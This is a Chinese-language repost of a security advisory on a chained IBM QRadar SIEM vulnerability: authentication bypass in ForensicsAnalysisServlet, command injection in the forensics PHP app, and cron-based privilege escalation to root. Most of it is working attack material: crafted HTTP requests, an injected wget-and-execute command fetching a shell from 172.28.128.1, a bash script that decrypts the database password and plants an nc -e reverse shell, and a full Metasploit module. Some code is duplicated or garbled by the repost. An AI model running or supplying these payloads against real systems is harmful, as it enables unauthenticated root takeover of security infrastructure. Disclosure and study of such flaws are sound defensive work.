溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

QRadar遠(yuǎn)程命令執(zhí)行是怎樣的

發(fā)布時(shí)間:2021-11-11 17:50:41 來源:億速云 閱讀:134 作者:柒染 欄目:網(wǎng)絡(luò)安全

QRadar遠(yuǎn)程命令執(zhí)行是怎樣的,針對(duì)這個(gè)問題,這篇文章詳細(xì)介紹了相對(duì)應(yīng)的分析和解答,希望可以幫助更多想解決這個(gè)問題的小伙伴找到更簡單易行的方法。

QRadar遠(yuǎn)程命令執(zhí)行

漏洞摘要

QRadar中的多個(gè)漏洞允許遠(yuǎn)程未經(jīng)身份驗(yàn)證的攻擊者使產(chǎn)品執(zhí)行任意命令。每個(gè)漏洞本身并不像鏈接那么強(qiáng)大 - 這允許用戶從未經(jīng)身份驗(yàn)證的訪問更改為經(jīng)過身份驗(yàn)證的訪問,更改為運(yùn)行命令,最后以root權(quán)限運(yùn)行這些命令。

供應(yīng)商響應(yīng)

“您于1月25日向IBM報(bào)告了此漏洞,我們于4月27日通知您漏洞已修復(fù)。以下是我們公告的鏈接以及向您報(bào)告的獨(dú)立研究人員的確認(rèn):http://www.ibm.com/support/docview.wss?uid = swg22015797。我們感謝您為向我們報(bào)告這些問題所做的努力,以及在IBM發(fā)布修訂之前推遲您的披露。

您在報(bào)告初始報(bào)告前幾周內(nèi)已經(jīng)意識(shí)到并且將針對(duì)權(quán)限升級(jí)報(bào)告的第三個(gè)漏洞修復(fù)為補(bǔ)丁。這是該特定CVE的公告:http://www.ibm.com/support/docview.wss?uid = swg22012293。

在我們對(duì)其他漏洞評(píng)分引發(fā)擔(dān)憂后,評(píng)分已經(jīng)過審核并進(jìn)行了一些修正。已報(bào)告的問題已分為單獨(dú)的CVE:用于身份驗(yàn)證繞過的新CVE-2018-1612;和現(xiàn)有的一個(gè)用于命令注入的非特權(quán)用戶CVE-2018-1418。這些CVE的更新描述和評(píng)分如下:

CVE-2018-1612 IBM QRadar Incident Forensics可能允許遠(yuǎn)程攻擊者繞過身份驗(yàn)證并獲取敏感信息
CVSS基數(shù):5.8
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CVE-2018-1418 IBM QRadar Incident Forensics可以允許經(jīng)過身份驗(yàn)證的攻擊者執(zhí)行“nobody”命令。
CVSS基數(shù):7.4
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L

初始評(píng)分中的問題是由于我們的流程中的溝通錯(cuò)誤而導(dǎo)致我們正在努力改進(jìn)我們的流程。 對(duì)于我們最初披露的有問題的評(píng)分,我們深表歉意。 此外,雖然驗(yàn)證CVE-2018-1612的修復(fù)程序包含在7.2.8補(bǔ)丁11中,但我們發(fā)現(xiàn)了7.3.1補(bǔ)丁2的問題,并且正在發(fā)布如www.ibm.com/support/docview.wss所述的iFix?UID = swg22017062。 命令注入問題已在先前發(fā)布的7.3.1補(bǔ)丁2中修復(fù)?!?/p>

CVE

CVE-2018至1418年
(注意,雖然只發(fā)布了一個(gè)CVE,但供應(yīng)商修補(bǔ)了三個(gè)漏洞)

信用

一位獨(dú)立的安全研究員Pedro Ribeiro向Beyond Security的SecuriTeam安全披露計(jì)劃報(bào)告了此漏洞。

漏洞詳細(xì)信息

QRadar有一個(gè)內(nèi)置的應(yīng)用程序,可以對(duì)某些文件進(jìn)行取證分析。這在免費(fèi)的Community Edition中被禁用,但代碼仍然存在,其中一部分仍然有效。該應(yīng)用程序有兩個(gè)組件,一個(gè)是用Java運(yùn)行的servlet,另一個(gè)是運(yùn)行PHP的主要Web應(yīng)用程序。此漏洞鏈濫用取證應(yīng)用程序的兩個(gè)組件以繞過身份驗(yàn)證并將文件寫入磁盤,然后濫用cron作業(yè)將特權(quán)升級(jí)到root。

QRadar在其所有Web應(yīng)用程序前面都有一個(gè)Apache反向代理,它根據(jù)URL路由請(qǐng)求。發(fā)送到/ console / *的請(qǐng)求將路由到主“控制臺(tái)”應(yīng)用程序,該應(yīng)用程序不僅運(yùn)行Web界面,還執(zhí)行QRadar的主要功能。然后有幾個(gè)輔助應(yīng)用程序,例如上面描述的取證應(yīng)用程序,可以在/ forensics和/ ForensicAnalysisServlet,SOLR服務(wù)器,可在/ solr和其他地方訪問。

技術(shù)細(xì)節(jié)

漏洞:身份驗(yàn)證繞過(在ForensicAnalysisServlet中)
攻擊矢量:遠(yuǎn)程
約束:無
受影響的產(chǎn)品/版本:

  • IBM QRadar SIEM:7.3.0和7.3.1確認(rèn);可能自2014年年中以來發(fā)布的所有版本都受到影響

QRadar身份驗(yàn)證是通過SEC cookie完成的,這是一個(gè)會(huì)話UUID。這由在主QRadar控制臺(tái)應(yīng)用程序中運(yùn)行的會(huì)話管理器集中管理。 SEC cookie可以通過三種方式獲得:

  • 在主控制臺(tái)應(yīng)用程序中登錄后

  • 使用以前創(chuàng)建的授權(quán)令牌(也在控制臺(tái)中創(chuàng)建)

  • 來自/etc/qradar/conf/host.token文件,該文件包含在安裝時(shí)生成的UUID,內(nèi)部服務(wù)使用該文件執(zhí)行管理操作。

ForensicAnalysisServlet將SEC cookie存儲(chǔ)在HashMap中,然后在提交任何操作之前檢查cookie是否對(duì)控制臺(tái)應(yīng)用程序有效......除了一個(gè)特定的代碼路徑。

函數(shù)doGetOrPost()處理對(duì)ForensicsAnalysisServlet的所有請(qǐng)求。此函數(shù)執(zhí)行許多操作,例如獲取結(jié)果文件,檢查分析請(qǐng)求的狀態(tài)等。為了進(jìn)行身份驗(yàn)證,請(qǐng)求者必須將其SEC和QRadarCSRF令牌注冊(cè)到servlet。這是通過應(yīng)用程序使用setSecurityTokens操作完成的,請(qǐng)求者使用該操作指定兩個(gè)標(biāo)記并使用servlet注冊(cè)它們。為了對(duì)setSecurityTokens操作執(zhí)行身份驗(yàn)證,servlet會(huì)檢查host.token SEC cookie是否隨請(qǐng)求一起發(fā)送。

但是,如果使用setSecurityTokens操作發(fā)送forensicsManagedHostIps參數(shù),則doGetOrPost()會(huì)在對(duì)其進(jìn)行身份驗(yàn)證之前將請(qǐng)求傳遞給doPassThrough()。

doPassThrough()還驗(yàn)證請(qǐng)求是否包含有效的SEC cookie ...在某些時(shí)候。問題是,如果我們發(fā)送setSecurityTokens動(dòng)作,則在函數(shù)的開頭將SEC和QRadarCSRF值添加到有效令牌的servlet HashMap中......然后再進(jìn)行驗(yàn)證。

通過對(duì)代碼進(jìn)行逆向工程,很明顯未經(jīng)身份驗(yàn)證的用戶可以將任意SEC和QRadarCSRF值插入到servlet cookie HashMaps中。

為了顯示這個(gè),我們嘗試向servlet發(fā)出請(qǐng)求,收到403錯(cuò)誤:

請(qǐng)求:

GET /ForensicsAnalysisServlet/?action=someaction HTTP/1.1Cookie: SEC=owned; QRadarCSRF=superowned;

回復(fù):

HTTP/1.1 403 Forbidden

現(xiàn)在我們發(fā)送請(qǐng)求將SEC和QRadarCSRF值添加到有效令牌列表中。 通過發(fā)送以下請(qǐng)求,將“擁有”和“超級(jí)”值添加到有效的SEC和QRadarCSRF令牌中:

POST /ForensicsAnalysisServlet/?action=setSecurityTokens&forensicsManagedHostIps=something HTTP/1.1Cookie: SEC=owned; QRadarCSRF=superowned;Content-Type: application/jsonContent-Length: 44something1002,something1003,owned,superowned

服務(wù)器將響應(yīng):
HTTP/1.1 200 OK
{"exceptionMessageValue":"javax.servlet.ServletException: No valid forensics analysis host token data found."}

現(xiàn)在我們的cookie已添加到SECCookiesMap和QradarCSRFCookiesMap中,因此我們可以在ForensicsAnalysisServlet中調(diào)用所有操作(甚至是需要經(jīng)過身份驗(yàn)證的cookie的操作)。

所以讓我們嘗試重復(fù)初始請(qǐng)求,我們得到了403:

GET /ForensicsAnalysisServlet/?action=someaction HTTP/1.1Cookie: SEC=owned; QRadarCSRF=superowned;

回復(fù):

HTTP/1.1 200 OK
{"exceptionMessageValue":"javax.servlet.ServletException: No valid forensics analysis solrDocIds parameter found."}

成功! 我們繞過了身份驗(yàn)證。

漏洞:命令注入(在PHP Web應(yīng)用程序中)
攻擊矢量:遠(yuǎn)程
約束:需要身份驗(yàn)證(可以通過漏洞#1繞過)
受影響的產(chǎn)品/版本:

  • IBM QRadar SIEM:7.3.0和7.3.1確認(rèn); 可能自2014年年中以來發(fā)布的所有版本都受到影響

此漏洞鏈中的第二個(gè)漏洞位于取證Web應(yīng)用程序的PHP部分。 使用漏洞#1將我們的SEC和QRadarCSRF cookie添加到ForensicAnalysisServlet HashMaps意味著我們可以調(diào)用應(yīng)用程序的Java部分中的任何函數(shù),但PHP部分使用單獨(dú)的身份驗(yàn)證方案,該方案沒有類似的缺陷。 但是,它接受來自localhost的任何請(qǐng)求,而無需身份驗(yàn)證。 通過包含DejaVu / qradar_helper.php文件在PHP部分中完成身份驗(yàn)證,該文件調(diào)用LoginCurrentUser函數(shù):

     public function LoginCurrentUser ($remember, &$errorInfo)     {
     //if local server request don't need to login the user     if($_SERVER['REMOTE_ADDR'] == $_SERVER['SERVER_ADDR'])
     {
             return true;
     }

請(qǐng)注意,沒有對(duì)本地請(qǐng)求進(jìn)行身份驗(yàn)證不一定是漏洞,盡管這是一種不好的做法,因?yàn)樗赡軐?dǎo)致我們將要描述的這種情況。

那么我們?nèi)绾尾拍苁拐?qǐng)求看起來像是來自localhost呢?像更改主機(jī)HTTP標(biāo)頭這樣簡單的操作將無法正常工作。幸運(yùn)的是,我們可以再次利用ForensicAnalysisServlet doPassThrough()。在漏洞#1中顯示的片段之后,該函數(shù)繼續(xù)將請(qǐng)求轉(zhuǎn)發(fā)到forensicsManagedHostIps參數(shù)中輸入的主機(jī)地址。

從反向工程代碼可以清楚地知道,如果我們?cè)趂orensicsManagedHostIps參數(shù)中發(fā)送127.0.0.1,我們就可以讓ForensicAnalysisServlet將我們的請(qǐng)求轉(zhuǎn)發(fā)給PHP Web應(yīng)用程序并繞過身份驗(yàn)證。那現(xiàn)在如何利用這個(gè)?在我們的PHP應(yīng)用程序中,我們有file.php,它具有“get”功能,允許經(jīng)過身份驗(yàn)證的用戶從文件系統(tǒng)中獲取某些文件。 file.php將請(qǐng)求轉(zhuǎn)發(fā)給DejaVu / FileActions.php,它會(huì)進(jìn)行一些檢查以確保文件位于一組受限制的目錄中:

 public static function Get()
 {
     global $TEMP_DIR, $PRODUCT_NAME, $QRADAR_PRE_URL_PATH;
             $pcapArray = array_key_exists ( 'pcap', $_REQUEST ) ? $_REQUEST ['pcap'] : '';
             $acceptablePaths = array("/store/forensics/case_input","/store/forensics/case_input_staging", "/store/forensics/tmp");
     $docid = array_key_exists('docid', $_GET) ? $_GET['docid'] : '';
     $guitype = array_key_exists('gui', $_GET) ? htmlspecialchars($_GET['gui'], ENT_QUOTES) : 'standard';
     $path = array_key_exists('path', $_GET) ? $_GET['path'] : '';
     if (!empty($path))
     {
             $path = urldecode($path);
             $path = FileActions::validate_path($path, $acceptablePaths);
             if(empty($path))
             {
                     QRadarLogger::logQradarError("FileActions.Get(): operation failed");
                     return;
             }
     }

     if (!empty($docid)) {
         $doc = IndexQuery::GetDocument($docid, $guitype);
         if ($doc) {
             $savedFile = new SavedFile($doc);
             if ($savedFile->hasFile()) {
                 if ($savedFile->isLocal())
                     $savedFile->sendFile($guitype);
                 else                     $savedFile->doProxy();
             } else                 send404();
         } else             send404();

     } else if (!empty($path)) {
         if (file_exists($path)) {
             if (!SavedFile::VetFile($path, $guitype))
                 return;
             readfile($path);
         } else             send404();

我們有興趣點(diǎn)擊的代碼路徑是pcapArray,如下所示。 如果我們發(fā)送帶有幾個(gè)pcap參數(shù)的PHP數(shù)組,Web應(yīng)用程序?qū)⒃诎l(fā)送之前將這些文件壓縮:

    } else if (is_array($pcapArray)) {
        $hostname = array_key_exists('hostname', $_REQUEST) ? $_REQUEST['hostname'] : $_SERVER['SERVER_ADDR'];
        if (count($pcapArray) > 1) {
            $basename = uniqid() . ".zip";
            $zip_filename = $TEMP_DIR . "/" . $basename;
        } else {
            $zip_filename = $pcapArray[0]['pcap'];
            $basename = basename($zip_filename);

        }

        for($i = 0, $j = count($pcapArray); $i < $j ; $i++) {
            $pcapFileList[] = $pcapArray[$i]['pcap'];
        }

        if (count($pcapArray) > 1) {
            // More than one pcap, so zip up the files and send the zip
            $fileList = implode(' ', $pcapFileList);
            //error_log("filename >> ".$filename);
            //error_log( print_r($fileList,TRUE) );

    } else if (is_array($pcapArray)) {
        $hostname = array_key_exists('hostname', $_REQUEST) ? $_REQUEST['hostname'] : $_SERVER['SERVER_ADDR'];
        if (count($pcapArray) > 1) {
            $basename = uniqid() . ".zip";
            $zip_filename = $TEMP_DIR . "/" . $basename;
        } else {
            $zip_filename = $pcapArray[0]['pcap'];
            $basename = basename($zip_filename);

        }

        for($i = 0, $j = count($pcapArray); $i < $j ; $i++) {
            $pcapFileList[] = $pcapArray[$i]['pcap'];
        }

        if (count($pcapArray) > 1) {
            // More than one pcap, so zip up the files and send the zip
            $fileList = implode(' ', $pcapFileList);
            //error_log("filename >> ".$filename);
            //error_log( print_r($fileList,TRUE) );

這顯然會(huì)導(dǎo)致命令注入,使用pcap文件名:

        $cmd = "/usr/bin/zip -qj $zip_filename $fileList 2>&1";
         //error_log("\$cmd =".$cmd);

         $result = exec($cmd, $cmd_output, $cmd_retval);

         $cmd = "/usr/bin/zip -qj $zip_filename $fileList 2>&1";
         //error_log("\$cmd =".$cmd);

         $result = exec($cmd, $cmd_output, $cmd_retval);

答對(duì)了! 它允許我們作為httpd Web服務(wù)器用戶執(zhí)行代碼,這是非特權(quán)的“nobody”用戶。 例如,要從172.28.128.1下載并執(zhí)行shell,我們可以發(fā)送以下GET請(qǐng)求,前提是我們已使用漏洞#1創(chuàng)建有效的SEC和QRadarCSRF cookie:

GET /ForensicsAnalysisServlet/?forensicsManagedHostIps=127.0.0.1/forensics/file.php%3f%26&action=get&slavefile=true&pcap[0][pcap]=/rand/file&pcap[1][pcap]=$(mkdir -p /store/configservices/staging/updates && wget -O /store/configservices/staging/updates/runme http://172.28.128.1:4444/runme.sh && /bin/bash /store/configservices/staging/updates/runme)& HTTP/1.1
Cookie: SEC=owned; QRadarCSRF=superowned;

這將需要幾秒鐘來處理,但最終我們的shell被下載,我們得到以下響應(yīng):

HTTP/1.1 200 OK
{"exceptionMessageValue":"javax.servlet.ServletException: No valid forensics analysis forensicsManagedHostIps parameter found."}

pcap [1] [pcap]參數(shù)顯示為未編碼以便于讀取,但實(shí)際利用此參數(shù)應(yīng)該完全URL編碼。如您所見,我們可以使用forensicsManagedHostIps來選擇主機(jī)地址,還可以注入將要使用的URL路徑。

選擇要下載文件的目錄時(shí)需要小心。 “nobody”用戶無法寫入/ tmp,但是一個(gè)很好的選擇是/ store / configservices / *,它用于各種任務(wù),并且可由“nobody”寫入。選擇(和創(chuàng)建)/ store / configservices / staging / updates /因?yàn)樗谖覀兗磳⒌絹淼膔oot權(quán)限升級(jí)漏洞中起著核心作用。

漏洞:權(quán)限提升(“無人”用戶到root)
攻擊矢量:本地
約束:需要“無人”用戶shell(可以通過漏洞#2獲得)
受影響的產(chǎn)品/版本:

  • IBM QRadar SIEM:7.3.0和7.3.1確認(rèn);可能自2014年年中以來發(fā)布的所有版本都受到影響

完全擁有QRadar的最后一步是將我們有限的“nobody”用戶的權(quán)限升級(jí)為root。
為此,我們可以利用以下cron作業(yè),每分鐘以root身份運(yùn)行:

# Check if autoupdate should be run* * * * * /opt/qradar/bin/UpdateConfs.pl  > /dev/null 2>&1

代碼是復(fù)雜的,因此為簡潔起見,此處不會(huì)顯示。但是,此Perl腳本調(diào)用checkRpm(),然后調(diào)用checkRpmStatus()。后者將獲取autoupdate_patch數(shù)據(jù)庫表并檢查是否還有任何條目要處理。如果文件條目名稱以.rpm結(jié)尾,它將調(diào)用processRpm(),安裝它,否則它將調(diào)用installMinor(),它將在文件條目上運(yùn)行“sh + x”。這些文件條目應(yīng)該在“update_download_dir”目錄中,可以使用psql -U qradar -c“從autoupdate_conf中選擇值,其中key ='update_download_dir'”獲取,但它是/ store / configservices / staging / updates /默認(rèn)。如漏洞#2中所述,/ store / configservices / *可由“nobody”寫入,因此我們可以轉(zhuǎn)儲(chǔ)我們想要的任何文件,創(chuàng)建目錄等。

幸運(yùn)的是,“nobody”用戶可以訪問數(shù)據(jù)庫 - 畢竟,Java和PHP服務(wù)器進(jìn)程需要訪問它,并且它們作為“nobody”運(yùn)行。因?yàn)椤皀obody”用戶無法訪問/ tmp目錄,所以我們不能依賴無密碼的本地套接字連接到數(shù)據(jù)庫;所以我們必須使用TCP / IP,這意味著我們需要數(shù)據(jù)庫密碼。密碼位于/opt/qradar/conf/config_user.xml(可由“nobody”讀?。┎⑶乙约用芊绞酱鎯?chǔ),但可以使用內(nèi)置shell腳本的代碼進(jìn)行解密。

因此,一旦我們擁有了數(shù)據(jù)庫密碼,我們需要做的就是將該表的條目添加到我們控制的腳本中(例如/store/configservices/staging/updates/owned.sh),并在一分鐘內(nèi)將它以root身份運(yùn)行:

PGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c "insert into autoupdate_patch values ('owned.sh',558,'minor',false,1337,0,'',1,false,'','','',false)"

執(zhí)行此權(quán)限升級(jí)并將根反向shell返回到172.28.128.1:4445的漏洞利用腳本顯示為附錄A.此文件可以使用漏洞#1和#2的組合編寫,以完成完整的漏洞利用鏈,從而允許 未經(jīng)身份驗(yàn)證的用戶遠(yuǎn)程實(shí)現(xiàn)根代碼執(zhí)行。

附錄 A:

#!/bin/bash# our reverse shell that will be executed as rootcat <<EOF > /store/configservices/staging/updates/superowned#!/bin/shnc -e /bin/sh 172.28.128.1 4445EOF### below is adapted from /opt/qradar/support/changePasswd.sh[ -z $NVA_CONF ] && NVA_CONF="/opt/qradar/conf/nva.conf"NVACONF=`grep "^NVACONF=" $NVA_CONF 2> /dev/null | cut -d= -f2`
FRAMEWORKS_PROPERTIES_FILE="frameworks.properties"FORENSICS_USER_FILE="config_user.xml"FORENSICS_USER_FILE_CONFIG="$NVACONF/$FORENSICS_USER_FILE"# get the encrypted db password from the configPASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\w\=]*)(?=<)'`

QVERSION=$(/opt/qradar/bin/myver | awk -F. '{print $1$2$3}')

AU_CRYPT=/opt/qradar/lib/Q1/auCrypto.pm
P_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-)
P_DEC=$(grep I_P_DEC ${AU_CRYPT} | cut -d= -f2-)#if 7.2.8 or greater, use new method for hashing and salting passwordsif [ $QVERSION -gt 727 ]then    PASSWORD=$(perl <(echo ${P_DEC} | base64 -d) <(echo ${PASSWORDENCRYPTED}))
            [ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255else        AESKEY=`grep 'aes.key=' $NVACONF/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-`

    PASSWORD=`/opt/qradar/bin/runjava.sh -Daes.key=$AESKEY com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED`
        [ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255fiPGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c "insert into autoupdate_patch values ('superowned',558,'minor',false,1337,0,'',1,false,'','','',false)"# delete ourselves(sleep 2 && rm -- "$0") &

利用

### This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'msf/core'require 'securerandom'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HttpServer  include Msf::Exploit::EXE  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'IBM QRadar SIEM Unauthenticated Remote Code Execution',
      'Description'    => %q{
        IBM QRadar SIEM has three vulnerabilities in the Forensics web application
        that when chained together allow an attacker to achieve unauthenticated remote code execution.

        The first stage bypasses authentication by fixating session cookies.
        The second stage uses those authenticated sessions cookies to write a file to disk and execute
        that file as the "nobody" user.
        The third and final stage occurs when the file executed as "nobody" writes an entry into the
        database that causes QRadar to execute a shell script controlled by the attacker as root within
        the next minute.
        Details about these vulnerabilities can be found in the advisories listed in References.

        The Forensics web application is disabled in QRadar Community Edition, but the code still works,
        so these vulnerabilities can be exploited in all flavours of QRadar.
        This module was tested with IBM QRadar CE 7.3.0 and 7.3.1. Most likely all versions released since
        mid 2014 are vulnerable, as that was when the Forensics application was introduced.

        Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>'         # Vulnerability discovery and Metasploit module        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'References'     =>
        [
         ['CVE', ''],
         ['URL', 'SECURITEAM_URL'],
         ['URL', 'GITHUB_URL'],
         ['URL', 'FULLDISC_URL']
        ],
      'Targets'        =>
        [
          [ 'IBM QRadar SIEM <= LAST_VULN_VERSION', {} ],
        ],
      'Payload'        => {
        'Compat'       => {
          'ConnectionType'  => 'reverse',
        }
      },
      'DefaultOptions'  => {
        'SSL'     => true,
        # we can only run shell scripts, so set a reverse netcat payload by default        # the payload that will be run is in the first few lines of @payload        'PAYLOAD' => 'generic/shell_reverse_tcp',
      },
      'DisclosureDate'  => 'TBD',
      'DefaultTarget'   => 0))
    register_options(
      [
        Opt::RPORT(443),
        OptString.new('SRVHOST', [true, 'HTTP server address', '0.0.0.0']),
        OptString.new('SRVPORT', [true, 'HTTP server port', '4448']),
      ], self.class)
  end  def check
    begin      res = send_request_cgi({
        'uri'       => '/ForensicsAnalysisServlet/',
        'method'    => 'GET',
      })
      if res && res.code == 403        return Exploit::CheckCode::Detected      end    rescue ::Rex::ConnectionError      return Exploit::CheckCode::Unknown    end    Exploit::CheckCode::Safe  end  # Handle incoming requests from QRadar  def on_request_uri(cli, request)
    print_good("#{peer} - Sending privilege escalation payload to QRadar...")
    print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")
    send_response(cli, @payload)
  end  # step 1 of the exploit, bypass authentication in the ForensicAnalysisServlet  def set_cookies
    @sec_cookie = SecureRandom.uuid
    @csrf_cookie = SecureRandom.uuid

    post_data = "#{rand_text_alpha(rand(12)+5)},#{rand_text_alpha(rand(12)+5)}," +
      "#{@sec_cookie},#{@csrf_cookie}"    res = send_request_cgi({
      'uri'       => '/ForensicsAnalysisServlet/',
      'method'    => 'POST',
      'ctype'     => 'application/json',
      'cookie'    => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};",
      'vars_get'  =>
      {
        'action'  => 'setSecurityTokens',
        'forensicsManagedHostIps' => "#{rand(256)}.#{rand(256)}.#{rand(256)}.#{rand(256)}"      },
      'data'      => post_data
    })

    if res.code != 200      fail_with(Failure::Unknown, "#{peer} - Failed to set the SEC and QRadar CSRF cookies")
    end  end  def exploit
    print_status("#{peer} - Attempting to exploit #{target.name}")

    # run step 1    set_cookies

    # let's prepare step 2 (payload) and 3 (payload exec as root)    @payload_name = rand_text_alpha_lower(3+rand(5))
    root_payload = rand_text_alpha_lower(3+rand(5))

    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
      srv_host = Rex::Socket.source_address(rhost)
    else      srv_host = datastore['SRVHOST']
    end    http_service = (datastore['SSL'] ? 'https://' : 'http://') + srv_host + ':' + datastore['SRVPORT'].to_s
    service_uri = http_service + '/' + @payload_name    print_status("#{peer} - Starting up our web service on #{http_service} ...")
    start_service({'Uri' => {
      'Proc' => Proc.new { |cli, req|
        on_request_uri(cli, req)
      },
      'Path' => "/#{@payload_name}"    }})

    home.php?mod=space&uid=154034 = %{#!/bin/bash

    # our payload that's going to be downloaded from our web server
    cat <<EOF > /store/configservices/staging/updates/#{root_payload}    #!/bin/bash
    usr/bin/nc -e /bin/sh #{datastore['LHOST']} #{datastore['LPORT']} &
    EOF

    ### below is adapted from /opt/qradar/support/changePasswd.sh
    [ -z $NVA_CONF ] && NVA_CONF="/opt/qradar/conf/nva.conf"
    NVACONF=`grep "^NVACONF=" $NVA_CONF 2> /dev/null | cut -d= -f2`
    FRAMEWORKS_PROPERTIES_FILE="frameworks.properties"
    FORENSICS_USER_FILE="config_user.xml"
    FORENSICS_USER_FILE_CONFIG="$NVACONF/$FORENSICS_USER_FILE"

    # get the encrypted db password from the config
    PASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\\w\\=]*)(?=<)'`

    QVERSION=$(/opt/qradar/bin/myver | awk -F. '{print $1$2$3}')

    AU_CRYPT=/opt/qradar/lib/Q1/auCrypto.pm
    P_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-)
    P_DEC=$(grep I_P_DEC ${AU_CRYPT} | cut -d= -f2-)

    #if 7.2.8 or greater, use new method for hashing and salting passwords
    if [ $QVERSION -gt 727 ]
    then
        PASSWORD=$(perl <(echo ${P_DEC} | base64 -d) <(echo ${PASSWORDENCRYPTED}))
          [ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255
    else
        AESKEY=`grep 'aes.key=' $NVACONF/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-`

        PASSWORD=`/opt/qradar/bin/runjava.sh -Daes.key=$AESKEY com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED`
        [ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255
    fi

PGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c \
"insert into autoupdate_patch values ('#{root_payload}',#{rand(1000)+100},'minor',false,#{rand(9999)+100},0,'',1,false,'','','',false)"# kill ourselves!(sleep 2 && rm -- "$0") &
}

    # let's do step 2 then, ask QRadar to download and execute our payload    print_status("#{peer} - Asking QRadar to download and execute #{service_uri}")

    exec_cmd = "$(mkdir -p /store/configservices/staging/updates && wget --no-check-certificate -O " +
      "/store/configservices/staging/updates/#{@payload_name} #{service_uri} && " +
      "/bin/bash /store/configservices/staging/updates/#{@payload_name})"    payload_step2 = "pcap[0][pcap]" +
      "=/#{rand_text_alpha_lower(rand(6) + 2) + '/' + rand_text_alpha_lower(rand(6) + 2)}" +
      "&pcap[1][pcap]=#{Rex::Text::uri_encode(exec_cmd, 'hex-all')}"    uri_step2 = "/ForensicsAnalysisServlet/?forensicsManagedHostIps" +
      "=127.0.0.1/forensics/file.php%3f%26&action=get&slavefile=true"    res = send_request_cgi({
        'uri'       => uri_step2 + '&' + payload_step2,
        'method'    => 'GET',
        'cookie'    => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};",
      })

  # now we just sit back and wait for step 2 payload to be downloaded and executed  # ... and then step 3 to complete. Let's give it a little more than a minute.  sleep 80  endend

關(guān)于QRadar遠(yuǎn)程命令執(zhí)行是怎樣的問題的解答就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識(shí)。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI